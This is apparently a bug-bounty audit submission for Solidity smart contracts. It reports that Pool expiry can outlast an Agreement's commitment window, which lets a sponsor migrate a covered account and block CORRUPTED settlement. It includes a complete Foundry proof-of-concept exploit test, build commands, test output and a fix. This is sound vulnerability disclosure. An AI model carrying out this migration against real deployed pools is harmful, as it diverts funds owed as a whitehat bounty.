FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Missing commitment coverage lets a locked-scope account migrate outside the Pool's settlement Agreement and bypass CORRUPTED settlement

Author Revealed upon completion

Summary

A Confidence Pool can be given a term that outlives the guarantee it depends on.

In the reproduction, Pool A covers an account for 90 days. Agreement A — the only Agreement Pool A ever reads for settlement — guarantees to keep that account for just 30 days. After day 30, the account is removed from Agreement A and registered under a new Agreement B. Pool A still lists the account in its locked scope, but it keeps reading Agreement A. Agreement B then becomes CORRUPTED while Agreement A stays non-terminal, so Pool A cannot select any CORRUPTED settlement branch for an account it still covers. At Pool expiry, the permissionless claimExpired() finalizes EXPIRED and pays the complete corpus — 100e18 principal plus 50e18 bonus — to the staker. That finalization cannot be reversed.

Neither function that sets Pool expiry requires the Agreement commitment to last as long as the Pool. ConfidencePoolFactory.createPool() and ConfidencePool.setExpiry() accept a Pool term that runs past the point where the covered accounts are guaranteed to still be inside the Agreement used for settlement.

Vulnerability Details

The Pool makes two design decisions that only stay compatible while the stored Agreement can actually keep the Pool's accounts.

The Pool's scope is local and becomes permanent. _replaceScope() validates each account against the Agreement only at the moment the scope is set, and _observePoolState() locks the scope the first time it sees the Agreement past pre-attack staging. After the lock, nothing re-checks Agreement membership, so the Pool's coverage list stops tracking the Agreement.

Settlement reads one Agreement for the Pool's whole life. The Pool stores a single Agreement address at initialization, and _getAgreementState() resolves every outcome from that Agreement's registry state.

The Agreement commitment is what holds those two decisions together. Upstream, an account cannot be removed from an Agreement while block.timestamp < getCantChangeUntil(). While the commitment is in force, every locked Pool account is guaranteed to remain inside the stored Agreement, so that Agreement can always represent the account's state.

No Pool expiry path requires the commitment to cover the Pool term. createPool() and setExpiry() accept an expiry beyond the commitment end, which opens a gap: after the commitment lapses but before the Pool expires, the covered account can leave the stored Agreement while the Pool stays active and keeps reading that same Agreement. The Pool can remain active after a covered account is allowed to leave the only Agreement the Pool reads for settlement.

Affected Code

The missing invariant belongs in the two in-scope functions that set Pool expiry. The rest of the list is the in-scope code where the mismatch later manifests.

  • ConfidencePoolFactory.createPool() src/ConfidencePoolFactory.sol:67-114. Validates the minimum expiry lead, Agreement validity, and Agreement ownership (lines 78-82), then accepts expiry and initializes the clone. It never compares expiry against getCantChangeUntil(). The PoC exercises this path directly.

  • ConfidencePool.setExpiry() src/ConfidencePool.sol:622-632. Before the first stake, the Pool owner can move expiry subject only to the lock flag, the minimum lead, and the uint32 ceiling (lines 623-625). It has the same missing commitment check. This path is established by source inspection; the PoC does not call it.

  • ConfidencePool.agreement src/ConfidencePool.sol:61. The settlement Agreement is assigned once during initialize() (line 204) and has no setter, so the Pool reads the same Agreement for its whole life.

  • ConfidencePool._replaceScope() src/ConfidencePool.sol:749-776. Each account is checked against IAgreement(agreement).isContractInScope() only when scope is set (line 768). A later removal from the Agreement does not touch Pool storage.

  • ConfidencePool._getAgreementState() src/ConfidencePool.sol:740-744. Settlement reads getAgreementState(agreement) for the stored Agreement.

  • ConfidencePool.flagOutcome() src/ConfidencePool.sol:322-379. The moderator can flag CORRUPTED only when the stored Agreement's state is CORRUPTED (line 347), and SURVIVED only when that Agreement is terminal (line 338). While the stored Agreement is non-terminal, both revert with InvalidOutcome.

  • ConfidencePool.claimExpired() src/ConfidencePool.sol:512-607. After expiry, this permissionless function reads the stored Agreement's state and, for any non-terminal state, resolves EXPIRED (lines 561-571) and sets claimsStarted = true (line 575), which finalizes the outcome.

The two setters and the settlement read, abbreviated (unrelated checks omitted):

// src/ConfidencePoolFactory.sol — createPool()
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
// @> Pool expiry is accepted without requiring the Agreement commitment
// @> to remain in force until that expiry. Missing:
// @> IAgreement(agreement).getCantChangeUntil() >= expiry
// src/ConfidencePool.sol — setExpiry()
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
// @> Same missing commitment check on the pre-stake expiry path.
expiry = uint32(newExpiry);
// ...
}
// src/ConfidencePool.sol — _getAgreementState()
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
// @> Settlement always reads the stored Agreement's state.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

Root Cause

Both ConfidencePoolFactory.createPool() and ConfidencePool.setExpiry() set the Pool's expiry without checking that the Agreement commitment extends at least as far:

IAgreement(agreement).getCantChangeUntil() >= poolExpiry

The unsafe term mismatch is accepted by these two in-scope functions. Without the check, the Pool's term can exceed the window during which the stored Agreement is guaranteed to hold the Pool's locked accounts. Once the commitment lapses, three things are true at the same time:

  • the covered account can be removed from the stored Agreement;

  • the Pool's scope stays locked and continues to list that account;

  • settlement keeps reading the stored Agreement, which is the Pool's only source of outcome state.

The Pool's coverage list and its settlement source then describe different sets of accounts, and the one in-scope place to prevent that divergence is the expiry check both setters omit.

Why the Pool Must Enforce Commitment Coverage

The Agreement commitment is the period during which every account covered by the Pool is guaranteed to remain inside the Agreement used for settlement. Upstream, removeAccounts() reverts while block.timestamp < getCantChangeUntil(), so nothing can pull a covered account out of the stored Agreement while the commitment is in force.

Because the Pool permanently relies on that Agreement, createPool() and setExpiry() must ensure that the commitment covers the full Pool term. Otherwise, the Pool can continue covering an account after its settlement Agreement is no longer able to represent that account. The enforcement point is the Pool's own expiry:

IAgreement(agreement).getCantChangeUntil() >= poolExpiry

This invariant keeps the locked scope and the settlement source describing the same accounts for the entire underwritten term. It is also durable: an Agreement commitment can be extended but never shortened (extendCommitmentWindow() reverts on a smaller value), so once it holds at Pool creation it holds for the Pool's whole life.

Step-by-Step Scenario

Agreement A is the Pool's stored settlement Agreement; Agreement B is a later Agreement the covered account moves to. In the reproduction:

Agreement A commitment: 30 days
Pool A expiry: 90 days
Principal: 100e18
Bonus: 50e18
Total corpus: 150e18
  1. The sponsor creates Agreement A containing coveredAccount and retainedAccount, with a 30-day commitment.

  2. The sponsor creates Pool A against Agreement A with only coveredAccount in its local scope, and sets Pool A's expiry to 90 days — 60 days past the commitment.

  3. A staker deposits 100e18 and the sponsor contributes a 50e18 bonus, for a 150e18 corpus.

  4. Agreement A enters UNDER_ATTACK: the sponsor requests attack mode and a separate registry moderator approves it, which binds both accounts to Agreement A. Pool A observes the active-risk state and locks its scope, so coveredAccount is now permanently part of Pool A's coverage.

  5. Agreement A's 30-day commitment expires while Pool A's 90-day term is still running. The sponsor removes coveredAccount from Agreement A, keeping retainedAccount so the Agreement stays valid; the registry clears coveredAccount's binding to Agreement A.

  6. The sponsor registers coveredAccount under a new Agreement B whose only account is coveredAccount. Agreement B enters UNDER_ATTACK and is then marked CORRUPTED by its attack moderator, which registration assigns to the sponsor as Agreement B's owner.

  7. Agreement A remains UNDER_ATTACK. Pool A still lists coveredAccount in its locked scope and still reads Agreement A, so the Pool moderator can flag neither CORRUPTED (Agreement A is not CORRUPTED) nor SURVIVED (Agreement A is not terminal); both revert with InvalidOutcome.

  8. After Pool A's expiry, any caller invokes claimExpired(). Agreement A is non-terminal, so the Pool resolves EXPIRED, sets claimsStarted, and pays the full 150e18 to the staker. The Pool balance is zero and the outcome is final.

The decisive gap is between steps 5 and 8: the Agreement commitment ends first, the Pool term is still running, and the removal and migration are legal for the rest of that term.

Protocol Documentation Support

docs/DESIGN.md §8 (lines 209-231) states that the Pool's scope is a fixed, pool-local commitment, and that if the sponsor narrows the Agreement, "the pool's locked scope may reference accounts no longer in the agreement — but the pool's own commitment to stakers remains the binding source of truth." protocol-readme.md (line 57) makes the same promise: once scope locks, agreement-level changes "don't alter what this pool covers," and stakers "are exposed to exactly what they signed up for at deposit time."

The documentation is explicit that the locked Pool scope remains binding, that Agreement-level changes do not alter what the Pool covers, and that stakers remain exposed to the accounts they accepted. Without commitment coverage, the Pool can continue covering an account after the stored Agreement can no longer represent that account's state. Requiring the commitment to cover the Pool term prevents that divergence.

Impact

High. The defect controls the disposition of the complete Pool corpus.

Because Pool A keeps reading Agreement A, and Agreement A never becomes CORRUPTED, every Pool-level CORRUPTED settlement path is unavailable — the moderator's good-faith and bad-faith CORRUPTED classifications and the permissionless auto-CORRUPTED backstop all require the stored Agreement to read CORRUPTED. That holds even though the account Pool A still lists as covered has completed a sole-account CORRUPTED lifecycle under Agreement B.

claimExpired() then finalizes Pool A as EXPIRED. The reproduction shows the full 100e18 + 50e18 = 150e18 corpus paid to the staker, the whitehat and the recovery address receiving zero, and the Pool balance reduced to zero. claimExpired() sets claimsStarted, so the outcome cannot be reclassified afterward.

The control uses the same 150e18 Pool corpus and confirms that when the stored Agreement itself becomes CORRUPTED, the corpus is routed through the CORRUPTED bounty branch. The state of the stored Agreement determines which full-value settlement branch is available.

Likelihood

Low. The issue requires a Pool term longer than the Agreement commitment and a later migration of a covered account out of the stored Agreement.

Severity

Medium. The impact is high because the mismatch can irreversibly determine the disposition of the complete principal-and-bonus corpus. Likelihood is low because the path requires a longer Pool term and a later account migration. High impact with low likelihood supports Medium severity.

Proof of Concept

The PoC deploys the real vendored Agreement factory, AttackRegistry, and Safe Harbor registry — not mocks — and drives the lifecycle through the real upstream entry points.

It contains two tests:

  • Primary migration path (test_PoolOutlivesAgreementCommitmentAndCorruptedBranchIsUnavailable): a covered account is locked into Pool A, migrated to Agreement B after Agreement A's commitment expires, and corrupted under B; Pool A can only resolve EXPIRED, and the full 150e18 reaches the staker.

  • Control (test_Control_OriginalAgreementCorruptionUsesBountyBranch): the Agreement Pool A reads is itself marked CORRUPTED, and the same 150e18 corpus routes through the good-faith CORRUPTED bounty branch.

The control uses the same 150e18 Pool corpus and demonstrates the branch selected when the stored Agreement itself is CORRUPTED. The state of the stored Agreement determines which full-value settlement branch is available.

The setExpiry() sibling of the missing check is established by source inspection (src/ConfidencePool.sol:622-632); the PoC exercises the createPool() path.

The in-scope project compiles under Solidity 0.8.26 and the vendored BattleChain contracts under 0.8.34, so the upstream contracts are compiled separately into an artifact directory the test consumes via vm.getCode. No RPC, fork, or network access is used.

The canonical PoC lives at:

test/poc/binding_migration/BindingMigrationOrphansLockedScope.t.sol

Reproduction Commands

Run from the contest repository root:

git submodule update --init --recursive
rm -rf \
out/binding-migration-upstream \
cache/binding-migration-upstream
forge build \
--root lib/battlechain-safe-harbor-contracts \
--out "$PWD/out/binding-migration-upstream" \
--cache-path "$PWD/cache/binding-migration-upstream" \
src/AgreementFactory.sol \
src/AttackRegistry.sol \
src/BattleChainSafeHarborRegistry.sol
forge test \
--match-path test/poc/binding_migration/BindingMigrationOrphansLockedScope.t.sol \
-vvv

Expected Results

Both tests pass. This run recorded:

Ran 2 tests for test/poc/binding_migration/BindingMigrationOrphansLockedScope.t.sol:BindingMigrationOrphansLockedScopeTest
[PASS] test_Control_OriginalAgreementCorruptionUsesBountyBranch() (gas: 4741708)
[PASS] test_PoolOutlivesAgreementCommitmentAndCorruptedBranchIsUnavailable() (gas: 8160022)
Suite result: ok. 2 passed; 0 failed; 0 skipped

The primary test asserts:

Pool corpus: 150e18
Pool locked scope: coveredAccount
Current registration: Agreement B
Agreement B state: CORRUPTED
Agreement A state: UNDER_ATTACK
Pool outcome: EXPIRED
Staker payout: 150e18
CORRUPTED disposition: unavailable
Pool balance remaining: 0

The control test asserts:

Pool corpus: 150e18
Agreement read by Pool A: Agreement A
Agreement A state: CORRUPTED
Pool outcome: CORRUPTED
Staker payout: 0
Whitehat bounty payout: 150e18
Pool balance remaining: 0

Critical Lifecycle

These excerpts come from the primary test. First, the covered account leaves Agreement A after the commitment ends, is re-registered under Agreement B, and B is marked CORRUPTED, while Pool A keeps listing the account and reading Agreement A:

_removeCoveredAccountAfterCommitment(agreementA);
// ...
address agreementB = _createAgreementWithAccounts(_coveredAccountScope(), "agreement-b");
_enterUnderAttack(agreementB);
vm.prank(sponsor);
attackRegistry.markCorrupted(agreementB);
// ...
assertTrue(pool.isAccountInScope(coveredAccount), "locked pool scope still contains covered account");
assertEq(pool.agreement(), agreementA, "Pool's stored settlement Agreement remains A");

The moderator cannot classify the Pool while Agreement A is non-terminal, and after expiry the permissionless call resolves EXPIRED and returns the whole corpus:

vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(poolExpiry + 1);
// ...
vm.prank(staker);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"non-terminal stored Agreement A resolves Pool A as EXPIRED"
);
assertEq(token.balanceOf(staker) - stakerBefore, STAKE_AMOUNT + BONUS_AMOUNT, "principal and bonus returned");

In the control, Agreement A itself is marked CORRUPTED, the moderator flags good-faith CORRUPTED, and the same 150e18 corpus is claimed as the bounty:

vm.prank(sponsor);
attackRegistry.markCorrupted(agreementA);
vm.prank(poolModerator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.prank(whitehat);
pool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat) - whitehatBefore, STAKE_AMOUNT + BONUS_AMOUNT, "whitehat receives full bounty");

Full PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";
import {
Account as BCAccount,
AgreementDetails,
BountyTerms,
Chain as BCChain,
ChildContractScope,
Contact,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
interface IUpstreamSafeHarborRegistry is IBattleChainSafeHarborRegistry {
function initialize(
address owner,
string[] memory initialValidChains,
address agreementFactory,
address attackRegistry
) external;
function setAttackRegistry(address attackRegistryAddr) external;
}
interface IUpstreamAgreementFactory is IAgreementFactory {
function initialize(address initialOwner, address registry, string memory battleChainCaip2ChainId) external;
}
interface IUpstreamAttackRegistry is IAttackRegistry {
function initialize(
address initialOwner,
address registryModerator,
address safeHarborRegistry,
address agreementFactory,
address battleChainDeployer,
address treasury
) external;
}
/// @notice Reproduces missing commitment coverage when a Pool term outlives
/// the Agreement commitment that keeps the Pool's covered accounts
/// inside its stored settlement Agreement.
/// @dev Agreement A starts with coveredAccount and retainedAccount. Pool A covers
/// only coveredAccount and remains live after A's commitment expires. The
/// owner then moves coveredAccount to Agreement B, where B becomes
/// CORRUPTED while Pool A continues to read non-terminal A.
/// Pool A still lists the account, but all Pool-level CORRUPTED settlement
/// paths remain unavailable, so claimExpired() finalizes EXPIRED. The
/// control uses the same corpus, marks stored A CORRUPTED, and routes the
/// corpus through the good-faith bounty branch.
contract BindingMigrationOrphansLockedScopeTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant STAKE_AMOUNT = 100 * ONE;
uint256 internal constant BONUS_AMOUNT = 50 * ONE;
uint256 internal constant POOL_DURATION = 90 days;
uint256 internal constant AGREEMENT_COMMITMENT = 30 days;
string internal constant BATTLECHAIN_CAIP2 = "eip155:31337";
string internal constant AGREEMENT_FACTORY_ARTIFACT =
"out/binding-migration-upstream/AgreementFactory.sol/AgreementFactory.json";
string internal constant ATTACK_REGISTRY_ARTIFACT =
"out/binding-migration-upstream/AttackRegistry.sol/AttackRegistry.json";
string internal constant SAFE_HARBOR_REGISTRY_ARTIFACT =
"out/binding-migration-upstream/BattleChainSafeHarborRegistry.sol/BattleChainSafeHarborRegistry.json";
address internal owner;
address internal registryModerator;
address internal battleChainDeployer;
address internal treasury;
address internal sponsor;
address internal poolModerator;
address internal staker;
address internal whitehat;
address internal recoveryAddress;
address internal coveredAccount;
address internal retainedAccount;
MockERC20 internal token;
IUpstreamSafeHarborRegistry internal safeHarborRegistry;
IUpstreamAgreementFactory internal agreementFactory;
IUpstreamAttackRegistry internal attackRegistry;
ConfidencePoolFactory internal poolFactory;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
owner = makeAddr("owner");
registryModerator = makeAddr("registryModerator");
battleChainDeployer = makeAddr("battleChainDeployer");
treasury = makeAddr("treasury");
sponsor = makeAddr("sponsor");
poolModerator = makeAddr("poolModerator");
staker = makeAddr("staker");
whitehat = makeAddr("attacker");
recoveryAddress = makeAddr("recovery");
coveredAccount = makeAddr("coveredAccount");
retainedAccount = makeAddr("retainedAccount");
_deployRealUpstream();
_deployConfidencePoolFactory();
}
/// @dev Primary reproduction: Pool A outlives Agreement A's commitment.
/// The covered account then moves to Agreement B while Pool A keeps
/// its fixed scope and stored settlement Agreement A.
function test_PoolOutlivesAgreementCommitmentAndCorruptedBranchIsUnavailable() external {
// Phase 1: create Agreement A with a 30-day commitment and Pool A with a 90-day term.
// Pool A covers only coveredAccount; retainedAccount keeps A valid after partial removal.
address agreementA = _createAgreementWithAccounts(_agreementAScope(), "agreement-a");
uint256 poolExpiry = block.timestamp + POOL_DURATION;
ConfidencePool pool = _createPool(agreementA, poolExpiry);
// Agreement membership exists before attack registration; both registry bindings are still empty.
assertEq(
attackRegistry.getAgreementForContract(coveredAccount), address(0), "covered account initially unbound"
);
assertEq(
attackRegistry.getAgreementForContract(retainedAccount), address(0), "retained account initially unbound"
);
assertTrue(
IAgreement(agreementA).isContractInScope(coveredAccount), "Agreement A initially contains covered account"
);
assertTrue(
IAgreement(agreementA).isContractInScope(retainedAccount), "Agreement A initially contains retained account"
);
assertTrue(pool.isAccountInScope(coveredAccount), "Pool A initially contains covered account");
// Phase 2: fund the 150e18 corpus, enter the real attack lifecycle, and lock Pool A's fixed scope.
_fundPool(pool);
_enterUnderAttack(agreementA);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "pool scope locked after A is active");
assertEq(
attackRegistry.getAgreementForContract(coveredAccount), agreementA, "covered account bound to Agreement A"
);
assertEq(
attackRegistry.getAgreementForContract(retainedAccount), agreementA, "retained account bound to Agreement A"
);
// Phase 3: after A's commitment expires, remove coveredAccount while Pool A is still live.
_removeCoveredAccountAfterCommitment(agreementA);
assertLt(block.timestamp, poolExpiry, "pool remains active after Agreement commitment expires");
assertEq(
attackRegistry.getAgreementForContract(coveredAccount), address(0), "removal clears covered account binding"
);
assertEq(
attackRegistry.getAgreementForContract(retainedAccount),
agreementA,
"retained account remains bound to Agreement A"
);
assertEq(
uint256(attackRegistry.getAgreementState(agreementA)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"A remains active"
);
// Phase 4: register coveredAccount under Agreement B and mark B CORRUPTED through the real attack lifecycle.
address agreementB = _createAgreementWithAccounts(_coveredAccountScope(), "agreement-b");
_enterUnderAttack(agreementB);
vm.prank(sponsor);
attackRegistry.markCorrupted(agreementB);
// Phase 5: B is CORRUPTED, but Pool A still covers the account and still reads non-terminal A.
assertEq(
attackRegistry.getAgreementForContract(coveredAccount), agreementB, "covered account rebound to Agreement B"
);
assertEq(
uint256(attackRegistry.getAgreementState(agreementB)),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"B corrupted"
);
assertEq(
uint256(attackRegistry.getAgreementState(agreementA)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"A remains non-corrupted"
);
assertTrue(pool.isAccountInScope(coveredAccount), "locked pool scope still contains covered account");
assertEq(pool.agreement(), agreementA, "Pool's stored settlement Agreement remains A");
address[] memory poolScope = pool.getScopeAccounts();
assertEq(poolScope.length, 1, "pool scope length");
assertEq(poolScope[0], coveredAccount, "locked pool scope value");
// Phase 6: because stored A is not CORRUPTED, Pool A cannot enter a CORRUPTED settlement branch.
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
// Phase 7: after Pool expiry, permissionless resolution follows stored A and finalizes EXPIRED.
vm.warp(poolExpiry + 1);
uint256 stakerBefore = token.balanceOf(staker);
uint256 whitehatBefore = token.balanceOf(whitehat);
uint256 recoveryBefore = token.balanceOf(recoveryAddress);
vm.prank(staker);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"non-terminal stored Agreement A resolves Pool A as EXPIRED"
);
assertEq(token.balanceOf(staker) - stakerBefore, STAKE_AMOUNT + BONUS_AMOUNT, "principal and bonus returned");
assertEq(token.balanceOf(whitehat) - whitehatBefore, 0, "whitehat receives nothing");
assertEq(token.balanceOf(recoveryAddress) - recoveryBefore, 0, "recovery receives nothing");
assertEq(token.balanceOf(address(pool)), 0, "pool balance drained to staker");
assertEq(pool.bountyEntitlement(), 0, "no bounty entitlement");
}
/// @dev Control: when the pool's stored Agreement A itself becomes
/// CORRUPTED, the same corpus enters the bounty branch.
function test_Control_OriginalAgreementCorruptionUsesBountyBranch() external {
address agreementA = _createAgreementWithAccounts(_agreementAScope(), "agreement-a-control");
uint256 poolExpiry = block.timestamp + POOL_DURATION;
ConfidencePool pool = _createPool(agreementA, poolExpiry);
_fundPool(pool);
_enterUnderAttack(agreementA);
pool.pokeRiskWindow();
// Control: use the same 150e18 Pool corpus and mark stored Agreement A CORRUPTED.
vm.prank(sponsor);
attackRegistry.markCorrupted(agreementA);
assertEq(
uint256(attackRegistry.getAgreementState(agreementA)),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"A corrupted in control"
);
// Stored A is now CORRUPTED, so the moderator can select good-faith CORRUPTED.
vm.prank(poolModerator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "control pool corrupted");
assertEq(pool.bountyEntitlement(), STAKE_AMOUNT + BONUS_AMOUNT, "full pool bounty entitlement");
assertEq(pool.corruptedReserve(), STAKE_AMOUNT + BONUS_AMOUNT, "full pool corrupted reserve");
uint256 whitehatBefore = token.balanceOf(whitehat);
uint256 stakerBefore = token.balanceOf(staker);
uint256 recoveryBefore = token.balanceOf(recoveryAddress);
// The identical 150e18 corpus now enters the whitehat bounty branch.
vm.prank(whitehat);
pool.claimAttackerBounty();
assertEq(
token.balanceOf(whitehat) - whitehatBefore, STAKE_AMOUNT + BONUS_AMOUNT, "whitehat receives full bounty"
);
assertEq(token.balanceOf(staker) - stakerBefore, 0, "staker receives nothing in corrupted branch");
assertEq(token.balanceOf(recoveryAddress) - recoveryBefore, 0, "no recovery sweep after full bounty");
assertEq(token.balanceOf(address(pool)), 0, "pool balance paid as bounty");
}
// Deploy the real upstream implementations from separately compiled Solidity 0.8.34 artifacts.
function _deployRealUpstream() internal {
address registryImpl = _deployArtifact(SAFE_HARBOR_REGISTRY_ARTIFACT);
address agreementFactoryImpl = _deployArtifact(AGREEMENT_FACTORY_ARTIFACT);
address attackRegistryImpl = _deployArtifact(ATTACK_REGISTRY_ARTIFACT);
string[] memory validChains = new string[](1);
validChains[0] = BATTLECHAIN_CAIP2;
address placeholderAgreementFactory = makeAddr("placeholderAgreementFactory");
address placeholderAttackRegistry = makeAddr("placeholderAttackRegistry");
safeHarborRegistry = IUpstreamSafeHarborRegistry(
address(
new ERC1967Proxy(
registryImpl,
abi.encodeCall(
IUpstreamSafeHarborRegistry.initialize,
(owner, validChains, placeholderAgreementFactory, placeholderAttackRegistry)
)
)
)
);
agreementFactory = IUpstreamAgreementFactory(
address(
new ERC1967Proxy(
agreementFactoryImpl,
abi.encodeCall(
IUpstreamAgreementFactory.initialize, (owner, address(safeHarborRegistry), BATTLECHAIN_CAIP2)
)
)
)
);
attackRegistry = IUpstreamAttackRegistry(
address(
new ERC1967Proxy(
attackRegistryImpl,
abi.encodeCall(
IUpstreamAttackRegistry.initialize,
(
owner,
registryModerator,
address(safeHarborRegistry),
address(agreementFactory),
battleChainDeployer,
treasury
)
)
)
)
);
vm.startPrank(owner);
safeHarborRegistry.setAgreementFactory(address(agreementFactory));
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
vm.stopPrank();
}
function _deployConfidencePoolFactory() internal {
token = new MockERC20();
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
poolFactory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), poolModerator)
)
)
)
);
poolFactory.setStakeTokenAllowed(address(token), true);
}
function _deployArtifact(string memory artifact) internal returns (address deployed) {
bytes memory creationCode = vm.getCode(artifact);
require(creationCode.length != 0, "missing artifact");
assembly {
deployed := create(0, add(creationCode, 0x20), mload(creationCode))
}
require(deployed != address(0), "artifact deploy failed");
}
function _createAgreementWithAccounts(address[] memory accounts, string memory saltLabel)
internal
returns (address agreement)
{
AgreementDetails memory details = _agreementDetails(accounts);
vm.prank(sponsor);
agreement = agreementFactory.create(details, sponsor, keccak256(bytes(saltLabel)));
vm.prank(sponsor);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + AGREEMENT_COMMITMENT);
}
function _agreementDetails(address[] memory accounts) internal view returns (AgreementDetails memory details) {
BCAccount[] memory bcAccounts = new BCAccount[](accounts.length);
for (uint256 i; i < accounts.length; ++i) {
bcAccounts[i] =
BCAccount({accountAddress: _addressToString(accounts[i]), childContractScope: ChildContractScope.None});
}
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain({
assetRecoveryAddress: _addressToString(recoveryAddress),
accounts: bcAccounts,
caip2ChainId: BATTLECHAIN_CAIP2
});
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact({name: "Security", contact: "security@example.com"});
BountyTerms memory bountyTerms = BountyTerms({
bountyPercentage: 10,
bountyCapUsd: 5_000_000,
retainable: false,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "none",
aggregateBountyCapUsd: 10_000_000
});
details = AgreementDetails({
protocolName: "Binding Migration PoC",
contactDetails: contacts,
chains: chains,
bountyTerms: bountyTerms,
agreementURI: "ipfs://binding-migration-poc"
});
}
function _createPool(address agreement, uint256 expiry) internal returns (ConfidencePool pool) {
address[] memory scope = _coveredAccountScope();
vm.prank(sponsor);
address poolAddress = poolFactory.createPool(agreement, address(token), expiry, ONE, recoveryAddress, scope);
pool = ConfidencePool(poolAddress);
}
function _fundPool(ConfidencePool pool) internal {
token.mint(staker, STAKE_AMOUNT);
vm.startPrank(staker);
token.approve(address(pool), STAKE_AMOUNT);
pool.stake(STAKE_AMOUNT);
vm.stopPrank();
token.mint(sponsor, BONUS_AMOUNT);
vm.startPrank(sponsor);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
vm.stopPrank();
assertEq(token.balanceOf(address(pool)), STAKE_AMOUNT + BONUS_AMOUNT, "pool funded");
}
function _enterUnderAttack(address agreement) internal {
vm.prank(sponsor);
attackRegistry.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(registryModerator);
attackRegistry.approveAttack(agreement);
assertEq(
uint256(attackRegistry.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"agreement under attack"
);
}
function _removeCoveredAccountAfterCommitment(address agreementA) internal {
uint256 cantChangeUntil = IAgreement(agreementA).getCantChangeUntil();
vm.warp(cantChangeUntil + 1);
string[] memory removed = new string[](1);
removed[0] = _addressToString(coveredAccount);
vm.prank(sponsor);
IAgreement(agreementA).removeAccounts(BATTLECHAIN_CAIP2, removed);
assertFalse(
IAgreement(agreementA).isContractInScope(coveredAccount), "Agreement A no longer contains covered account"
);
assertTrue(
IAgreement(agreementA).isContractInScope(retainedAccount), "Agreement A still contains retained account"
);
}
function _agreementAScope() internal view returns (address[] memory accounts) {
accounts = new address[](2);
accounts[0] = coveredAccount;
accounts[1] = retainedAccount;
}
function _coveredAccountScope() internal view returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = coveredAccount;
}
function _addressToString(address addr) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint256 i; i < 20; ++i) {
str[2 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i)) >> 4) & 0xf];
str[3 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i))) & 0xf];
}
return string(str);
}
}

Recommended Mitigation

Require the Agreement commitment to cover the complete Pool lifetime in both functions that can set Pool expiry:

IAgreement(agreement).getCantChangeUntil() >= poolExpiry

Add the check in ConfidencePoolFactory.createPool() and ConfidencePool.setExpiry():

// src/ConfidencePoolFactory.sol — createPool()
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
+ if (IAgreement(agreement).getCantChangeUntil() < expiry) {
+ revert AgreementCommitmentEndsBeforePoolExpiry();
+ }
// src/ConfidencePool.sol — setExpiry()
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
+ if (IAgreement(agreement).getCantChangeUntil() < newExpiry) {
+ revert AgreementCommitmentEndsBeforePoolExpiry();
+ }

